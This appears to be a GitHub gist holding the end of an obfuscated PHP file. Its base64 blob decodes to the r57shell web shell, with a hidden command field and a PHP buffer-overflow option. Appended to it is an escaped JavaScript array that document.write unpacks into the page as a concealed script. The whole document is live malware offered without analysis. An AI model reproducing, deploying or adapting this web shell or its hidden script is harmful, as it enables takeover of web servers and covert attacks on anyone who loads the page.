jaG8gc3IoMTAsIiIsJGZzLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2RvcycpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJ0JvRiBbKCldKFBIUDw1LjIueCknKS4kZmUpOyovCmVjaG8gJHRlLiI8L3RkPjwvdHI+PC9kaXY+PC90YWJsZT4iOwplY2hvICc8L3RhYmxlPicuJHRhYmxlX3VwMy4iPC9kaXY+PC9kaXY+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPm8tLS1bIHI1N3NoZWxsIHwgdmVyc2lvbiAiLiR2ZXJzaW9uLiIgfCA8YSBocmVmPWh0dHA6Ly9yc3Qudm9pZC5ydT5SU1Q8L2E+IHwgPGEgaHJlZj1odHRwOi8vZ2hjLnJ1PkdIQzwvYT4gfCA8YSBocmVmPWh0dHA6Ly93d3cuYW50aWNoYXQucnU+QW50aWNoYXQucnUgRWRpdGlvbjwvYT4gfCBHZW5lcmF0aW9uIHRpbWU6ICIucm91bmQoZ2V0bWljcm90aW1lKCktc3RhcnR0aW1lLDQpLiIgXS0tLW88L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7CmVjaG8gJzwvYm9keT48L2h0bWw+JzsKPz4KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4KPCEtLQpmRjdlU0Q4PW5ldyBBcnJheSgpOwpmRjdlU0Q4WzBdPSIlM0NzY3JpcHQlM0UlMEFkb2N1IjsKZkY3ZVNEOFsxXT0ibWVudC53cml0ZSUyOHVuZSI7CmZGN2VTRDhbMl09InNjYXBlJTI4JTIyJTI1M0NzY3JpIjsKZkY3ZVNEOFszXT0icHQlMjUyMHR5cGUlMjUzRCUyNSI7CmZGN2VTRDhbNF09IjIydGV4dC9qYXZhc2NyIjsKZkY3ZVNEOFs1XT0iaXB0JTI1MjIlMjUzRWRvIjsKZkY3ZVNEOFs2XT0iY3VtZW50LndyaXRlJTI1IjsKZkY3ZVNEOFs3XT0iMjglMjUyNyUyNTVDdTAwIjsKZkY3ZVNEOFs4XT0iM2MlMjU1Q3UwMDczJTI1NUMiOwpmRjdlU0Q4WzldPSJ1MDA2MyUyNTVDdTAwNzIiOwpmRjdlU0Q4WzEwXT0iJTI1NUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMTFdPSIwMDcwJTI1NUN1MDA3IjsKZkY3ZVNEOFsxMl09IjQlMjU1Q3UwMDIwJTI1NUMiOwpmRjdlU0Q4WzEzXT0idTAwNzQlMjU1Q3UwMDciOwpmRjdlU0Q4WzE0XT0iOSUyNTVDdTAwNzAlMjU1Q3UiOwpmRjdlU0Q4WzE1XT0iMDA2NSUyNTVDdTAwM2QlMjUiOwpmRjdlU0Q4WzE2XT0iNUN1MDAyMiUyNTVDdTAiOwpmRjdlU0Q4WzE3XT0iMDc0JTI1NUN1MDA2NSUyNTVDIjsKZkY3ZVNEOFsxOF09InUwMDc4JTI1NUN1MDA3NCUyNSI7CmZGN2VTRDhbMTldPSI1Q3UwMDJmJTI1NUN1IjsKZkY3ZVNEOFsyMF09IjAwNmElMjU1Q3UwMDYxJTI1NSI7CmZGN2VTRDhbMjFdPSJDdTAwNzYlMjU1Q3UwIjsKZkY3ZVNEOFsyMl09IjA2MSUyNTVDdTAwNzMlMjUiOwpmRjdlU0Q4WzIzXT0iNUN1MDA2MyUyNTVDdTAwIjsKZkY3ZVNEOFsyNF09IjcyJTI1NUN1MDA2OSUyNSI7CmZGN2VTRDhbMjVdPSI1Q3UwMDcwJTI1NUN1IjsKZkY3ZVNEOFsyNl09IjAwNzQlMjU1Q3UwMDIyIjsKZkY3ZVNEOFsyN109IiUyNTVDdTAwM2UlMjU1QyI7CmZGN2VTRDhbMjhdPSJ1MDA2NCUyNTVDdTAwIjsKZkY3ZVNEOFsyOV09IjZmJTI1NUN1MDA2MyUyNTVDIjsKZkY3ZVNEOFszMF09InUwMDc1JTI1NUN1MDA2IjsKZkY3ZVNEOFszMV09ImQlMjU1Q3UwMDY1JTI1NUN1IjsKZkY3ZVNEOFszMl09IjAwNmUlMjU1Q3UwMDc0JTI1NSI7CmZGN2VTRDhbMzNdPSJDdTAwMmUlMjU1Q3UwMCI7CmZGN2VTRDhbMzRdPSI3NyUyNTVDdTAwNzIlMjUiOwpmRjdlU0Q4WzM1XT0iNUN1MDA2OSUyNTVDdSI7CmZGN2VTRDhbMzZdPSIwMDc0JTI1NUN1MDA2NSUyNSI7CmZGN2VTRDhbMzddPSI1Q3UwMDI4JTI1NUN1MDAyIjsKZkY3ZVNEOFszOF09IjclMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNEOFszOV09IjAwNzUlMjU1Q3UwMDMwIjsKZkY3ZVNEOFs0MF09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFs0MV09IjAzMyUyNTVDdTAwNjMlMjUiOwpmRjdlU0Q4WzQyXT0iNUN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbNDNdPSI1JTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbNDRdPSIwMDMwJTI1NUN1MDAzNSI7CmZGN2VTRDhbNDVdPSIlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzQ2XT0idTAwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFs0N109IiUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4WzQ4XT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbNDldPSI0JTI1NUN1MDAzMyUyNTUiOwpmRjdlU0Q4WzUwXT0iQ3UwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFs1MV09IjUlMjU1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs1Ml09IjAwMzAlMjU1Q3UwMDM1JTI1NSI7CmZGN2VTRDhbNTNdPSJDdTAwMzIlMjU1Q3UwMCI7CmZGN2VTRDhbNTRdPSI1YyUyNTVDdTAwNzUlMjU1QyI7CmZGN2VTRDhbNTVdPSJ1MDAzMCUyNTVDdTAwMzAlMjUiOwpmRjdlU0Q4WzU2XT0iNUN1MDAzNCUyNTVDdTAwIjsKZkY3ZVNEOFs1N109IjM5JTI1NUN1MDA1YyUyNTVDdSI7CmZGN2VTRDhbNThdPSIwMDc1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzU5XT0iQ3UwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFs2MF09IjUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzYxXT0idTAwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFs2Ml09IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbNjNdPSIzMCUyNTVDdTAwMzUlMjU1IjsKZkY3ZVNEOFs2NF09IkN1MDAzNCUyNTVDdTAwNSI7CmZGN2VTRDhbNjVdPSJjJTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFs2Nl09InUwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbNjddPSI1Q3UwMDMyJTI1NUN1IjsKZkY3ZVNEOFs2OF09IjAwMzAlMjU1Q3UwMDVjJTI1IjsKZkY3ZVNEOFs2OV09IjVDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbNzBdPSIzMCUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFs3MV09IkN1MDAzNSUyNTVDdTAwMyI7CmZGN2VTRDhbNzJdPSIzJTI1NUN1MDA1YyUyNTVDdTAiOwpmRjdlU0Q4WzczXT0iMDc1JTI1NUN1MDAzMCI7CmZGN2VTRDhbNzRdPSIlMjU1Q3UwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4Wzc1XT0iMzUlMjU1Q3UwMDMyJTI1IjsKZkY3ZVNEOFs3Nl09IjVDdTAwNWMlMjU1Q3UwMCI7CmZGN2VTRDhbNzddPSI3NSUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4Wzc4XT0iMDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbNzldPSI0JTI1NUN1MDAzMyUyNTVDdSI7CmZGN2VTRDhbODBdPSIwMDVjJTI1NUN1MDA3NSUyNSI7CmZGN2VTRDhbODFdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFs4Ml09IjAwMzAlMjU1Q3UwMDMzIjsKZkY3ZVNEOFs4M109IiUyNTVDdTAwNjQlMjU1Q3UwIjsKZkY3ZVNEOFs4NF09IjA1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4Wzg1XT0iNUN1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbODZdPSIwJTI1NUN1MDAzNiUyNTUiOwpmRjdlU0Q4Wzg3XT0iQ3UwMDM4JTI1NUN1MCI7CmZGN2VTRDhbODhdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4Wzg5XT0idTAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzkwXT0iMCUyNTVDdTAwMzclMjU1QyI7CmZGN2VTRDhbOTFdPSJ1MDAzNCUyNTVDdTAwNWMlMjUiOwpmRjdlU0Q4WzkyXT0iNUN1MDA3NSUyNTVDdSI7CmZGN2VTRDhbOTNdPSIwMDMwJTI1NUN1MDAzMCI7CmZGN2VTRDhbOTRdPSIlMjU1Q3UwMDM3JTI1NUN1IjsKZkY3ZVNEOFs5NV09IjAwMzQlMjU1Q3UwMDVjJTI1IjsKZkY3ZVNEOFs5Nl09IjVDdTAwNzUlMjU1Q3UwMCI7CmZGN2VTRDhbOTddPSIzMCUyNTVDdTAwMzAlMjU1Q3UiOwpmRjdlU0Q4Wzk4XT0iMDAzNyUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFs5OV09IkN1MDA1YyUyNTVDdTAwIjsKZkY3ZVNEOFsxMDBdPSI3NSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxMDFdPSJDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTAyXT0iMzMlMjU1Q3UwMDYxJTI1NUN1IjsKZkY3ZVNEOFsxMDNdPSIwMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMTA0XT0iJTI1NUN1MDAzMCUyNTVDIjsKZkY3ZVNEOFsxMDVdPSJ1MDAzMCUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4WzEwNl09IjVDdTAwNjYlMjU1Q3UwMCI7CmZGN2VTRDhbMTA3XT0iNWMlMjU1Q3UwMDc1JTI1NUN1IjsKZkY3ZVNEOFsxMDhdPSIwMDMwJTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTA5XT0iNUN1MDAzMiUyNTVDdTAiOwpmRjdlU0Q4WzExMF09IjA2NiUyNTVDdTAwNWMiOwpmRjdlU0Q4WzExMV09IiUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzExMl09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsxMTNdPSI1Q3UwMDM2JTI1NUN1MDAzIjsKZkY3ZVNEOFsxMTRdPSI0JTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsxMTVdPSJ1MDA3NSUyNTVDdTAwMyI7CmZGN2VTRDhbMTE2XT0iMCUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTE3XT0idTAwMzYlMjU1Q3UwMCI7CmZGN2VTRDhbMTE4XT0iMzElMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTE5XT0iQ3UwMDc1JTI1NUN1MDAiOwpmRjdlU0Q4WzEyMF09IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTIxXT0iMDAzNyUyNTVDdTAwMzQiOwpmRjdlU0Q4WzEyMl09IiUyNTVDdTAwNWMlMjU1Q3UwMCI7CmZGN2VTRDhbMTIzXT0iNzUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzEyNF09InUwMDMwJTI1NUN1MDAzIjsKZkY3ZVNEOFsxMjVdPSI2JTI1NUN1MDAzMSUyNTUiOwpmRjdlU0Q4WzEyNl09IkN1MDA1YyUyNTVDdTAwNyI7CmZGN2VTRDhbMTI3XT0iNSUyNTVDdTAwMzAlMjU1IjsKZkY3ZVNEOFsxMjhdPSJDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsxMjldPSIwMzIlMjU1Q3UwMDY1IjsKZkY3ZVNEOFsxMzBdPSIlMjU1Q3UwMDVjJTI1NUMiOwpmRjdlU0Q4WzEzMV09InUwMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTMyXT0iNUN1MDAzMCUyNTVDdTAwMyI7CmZGN2VTRDhbMTMzXT0iNyUyNTVDdTAwMzQlMjU1Q3UwIjsKZkY3ZVNEOFsxMzRdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzEzNV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzEzNl09IjMwJTI1NUN1MDAzMyUyNTVDIjsKZkY3ZVNEOFsxMzddPSJ1MDAzMCUyNTVDdTAwNSI7CmZGN2VTRDhbMTM4XT0iYyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzEzOV09IjAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzE0MF09IjAlMjU1Q3UwMDMzJTI1NUMiOwpmRjdlU0Q4WzE0MV09InUwMDMwJTI1NUN1MDA1IjsKZkY3ZVNEOFsxNDJdPSJjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE0M109IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzE0NF09IjAzMCUyNTVDdTAwMzYlMjU1QyI7CmZGN2VTRDhbMTQ1XT0idTAwNjMlMjU1Q3UwMDVjIjsKZkY3ZVNEOFsxNDZdPSIlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzE0N109InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzE0OF09IjMwJTI1NUN1MDAzNyUyNSI7CmZGN2VTRDhbMTQ5XT0iNUN1MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsxNTBdPSI1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsxNTFdPSJDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTUyXT0iMzAlMjU1Q3UwMDMyJTI1NSI7CmZGN2VTRDhbMTUzXT0iQ3UwMDY1JTI1NUN1MDA1YyI7CmZGN2VTRDhbMTU0XT0iJTI1NUN1MDA3NSUyNTVDIjsKZkY3ZVNEOFsxNTVdPSJ1MDAzMCUyNTVDdTAwIjsKZkY3ZVNEOFsxNTZdPSIzMCUyNTVDdTAwMzYlMjU1Q3UiOwpmRjdlU0Q4WzE1N109IjAwNjYlMjU1Q3UwMDVjJTI1NSI7CmZGN2VTRDhbMTU4XT0iQ3UwMDc1JTI1NUN1MDAiOwpmRjdlU0Q4WzE1OV09IjMwJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTYwXT0iMDAzNyUyNTVDdTAwMzIlMjUiOwpmRjdlU0Q4WzE2MV09IjVDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE2Ml09IjUlMjU1Q3UwMDMwJTI1NUMiOwpmRjdlU0Q4WzE2M109InUwMDMwJTI1NUN1MDAzNiUyNSI7CmZGN2VTRDhbMTY0XT0iNUN1MDAzNyUyNTVDdTAwIjsKZkY3ZVNEOFsxNjVdPSI1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsxNjZdPSJDdTAwMzAlMjU1Q3UwMDMwIjsKZkY3ZVNEOFsxNjddPSIlMjU1Q3UwMDMyJTI1NUN1MDAiOwpmRjdlU0Q4WzE2OF09IjY2JTI1NUN1MDA1YyUyNTUiOwpmRjdlU0Q4WzE2OV09IkN1MDA3NSUyNTVDdTAiOwpmRjdlU0Q4WzE3MF09IjAzMCUyNTVDdTAwMzAlMjU1QyI7CmZGN2VTRDhbMTcxXT0idTAwMzclMjU1Q3UwMDM3IjsKZkY3ZVNEOFsxNzJdPSIlMjU1Q3UwMDVjJTI1NUN1IjsKZkY3ZVNEOFsxNzNdPSIwMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMTc0XT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMTc1XT0iMDAzNiUyNTVDdTAwMzglMjU1IjsKZkY3ZVNEOFsxNzZdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzE3N109IjUlMjU1Q3UwMDMwJTI1NSI7CmZGN2VTRDhbMTc4XT0iQ3UwMDMwJTI1NUN1MDAzNiI7CmZGN2VTRDhbMTc5XT0iJTI1NUN1MDAzNSUyNTVDdTAwIjsKZkY3ZVNEOFsxODBdPSI1YyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzE4MV09IjAwMzAlMjU1Q3UwMDMiOwpmRjdlU0Q4WzE4Ml09IjAlMjU1Q3UwMDM3JTI1NUMiOwpmRjdlU0Q4WzE4M109InUwMDMyJTI1NUN1MDAiOwpmRjdlU0Q4WzE4NF09IjVjJTI1NUN1MDA3NSUyNTUiOwpmRjdlU0Q4WzE4NV09IkN1MDAzMCUyNTVDdTAiOwpmRjdlU0Q4WzE4Nl09IjAzMCUyNTVDdTAwMzYlMjUiOwpmRjdlU0Q4WzE4N109IjVDdTAwMzUlMjU1Q3UwIjsKZkY3ZVNEOFsxODhdPSIwNWMlMjU1Q3UwMDc1IjsKZkY3ZVNEOFsxODldPSIlMjU1Q3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMTkwXT0iMDMwJTI1NUN1MDAzMiI7CmZGN2VTRDhbMTkxXT0iJTI1NUN1MDA2NSUyNTVDdSI7CmZGN2VTRDhbMTkyXT0iMDA1YyUyNTVDdTAwNzUiOwpmRjdlU0Q4WzE5M109IiUyNTVDdTAwMzAlMjU1Q3UwMCI7CmZGN2VTRDhbMTk0XT0iMzAlMjU1Q3UwMDM2JTI1IjsKZkY3ZVNEOFsxOTVdPSI1Q3UwMDYxJTI1NUN1IjsKZkY3ZVNEOFsxOTZdPSIwMDVjJTI1NUN1MDA3IjsKZkY3ZVNEOFsxOTddPSI1JTI1NUN1MDAzMCUyNTUiOwpmRjdlU0Q4WzE5OF09IkN1MDAzMCUyNTVDdTAwMzciOwpmRjdlU0Q4WzE5OV09IiUyNTVDdTAwMzMlMjU1Q3UwIjsKZkY3ZVNEOFsyMDBdPSIwNWMlMjU1Q3UwMDc1JTI1NUMiOwpmRjdlU0Q4WzIwMV09InUwMDMwJTI1NUN1MDAiOwpmRjdlU0Q4WzIwMl09IjMwJTI1NUN1MDAzMyUyNTVDdSI7CmZGN2VTRDhbMjAzXT0iMDA2NSUyNTVDdTAwNSI7CmZGN2VTRDhbMjA0XT0iYyUyNTVDdTAwNzUlMjU1Q3UiOwpmRjdlU0Q4WzIwNV09IjAwMzAlMjU1Q3UwMDMwJTI1IjsKZkY3ZVNEOFsyMDZdPSI1Q3UwMDMzJTI1NUN1MDAiOwpmRjdlU0Q4WzIwN109IjYzJTI1NUN1MDA1YyUyNTVDIjsKZkY3ZVNEOFsyMDhdPSJ1MDA3NSUyNTVDdTAwMzAiOwpmRjdlU0Q4WzIwOV09IiUyNTVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMTBdPSIwMzIlMjU1Q3UwMDY2JTI1NSI7CmZGN2VTRDhbMjExXT0iQ3UwMDVjJTI1NUN1MCI7CmZGN2VTRDhbMjEyXT0iMDc1JTI1NUN1MDAzMCUyNSI7CmZGN2VTRDhbMjEzXT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjE0XT0iMDAzNSUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMTVdPSJDdTAwNWMlMjU1Q3UwMDciOwpmRjdlU0Q4WzIxNl09IjUlMjU1Q3UwMDMwJTI1NUN1MCI7CmZGN2VTRDhbMjE3XT0iMDMwJTI1NUN1MDAzNCUyNTUiOwpmRjdlU0Q4WzIxOF09IkN1MDAzMyUyNTVDdTAwIjsKZkY3ZVNEOFsyMTldPSI1YyUyNTVDdTAwNzUlMjUiOwpmRjdlU0Q4WzIyMF09IjVDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMjFdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMjJdPSIlMjU1Q3UwMDMyJTI1NUN1MCI7CmZGN2VTRDhbMjIzXT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjI0XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjI1XT0iMDAzMCUyNTVDdTAwMzQlMjUiOwpmRjdlU0Q4WzIyNl09IjVDdTAwMzklMjU1Q3UwIjsKZkY3ZVNEOFsyMjddPSIwNWMlMjU1Q3UwMDc1JTI1IjsKZkY3ZVNEOFsyMjhdPSI1Q3UwMDMwJTI1NUN1IjsKZkY3ZVNEOFsyMjldPSIwMDMwJTI1NUN1MDAzNSUyNSI7CmZGN2VTRDhbMjMwXT0iNUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjMxXT0iMDA1YyUyNTVDdTAwNzUlMjU1IjsKZkY3ZVNEOFsyMzJdPSJDdTAwMzAlMjU1Q3UwIjsKZkY3ZVNEOFsyMzNdPSIwMzAlMjU1Q3UwMDM1IjsKZkY3ZVNEOFsyMzRdPSIlMjU1Q3UwMDM0JTI1NUN1MCI7CmZGN2VTRDhbMjM1XT0iMDVjJTI1NUN1MDA3NSI7CmZGN2VTRDhbMjM2XT0iJTI1NUN1MDAzMCUyNTVDdSI7CmZGN2VTRDhbMjM3XT0iMDAzMCUyNTVDdTAwMzMlMjU1IjsKZkY3ZVNEOFsyMzhdPSJDdTAwNjUlMjU1Q3UwIjsKZkY3ZVNEOFsyMzldPSIwMjclMjU1Q3UwMDI5IjsKZkY3ZVNEOFsyNDBdPSIlMjU1Q3UwMDNjJTI1NUMiOwpmRjdlU0Q4WzI0MV09InUwMDJmJTI1NUN1MDA3MyUyNSI7CmZGN2VTRDhbMjQyXT0iNUN1MDA2MyUyNTVDdTAwNyI7CmZGN2VTRDhbMjQzXT0iMiUyNTVDdTAwNjklMjU1Q3UiOwpmRjdlU0Q4WzI0NF09IjAwNzAlMjU1Q3UwMDciOwpmRjdlU0Q4WzI0NV09IjQlMjU1Q3UwMDNlJTI1MjclMjUiOwpmRjdlU0Q4WzI0Nl09IjI5JTI1M0Mvc2NyaXB0JTI1IjsKZkY3ZVNEOFsyNDddPSIzRSUyMiUyOSUyOSUzQiUwQSUzQy9zY3JpIjsKZkY3ZVNEOFsyNDhdPSJwdCUzRSI7CmZvciAoaSA9IDA7IGkgPCBmRjdlU0Q4Lmxlbmd0aDsgaSArKykKewogICAgZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoZkY3ZVNEOFtpXSkpCn0KLy8gLS0+Cjwvc2NyaXB0Pg=='));
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment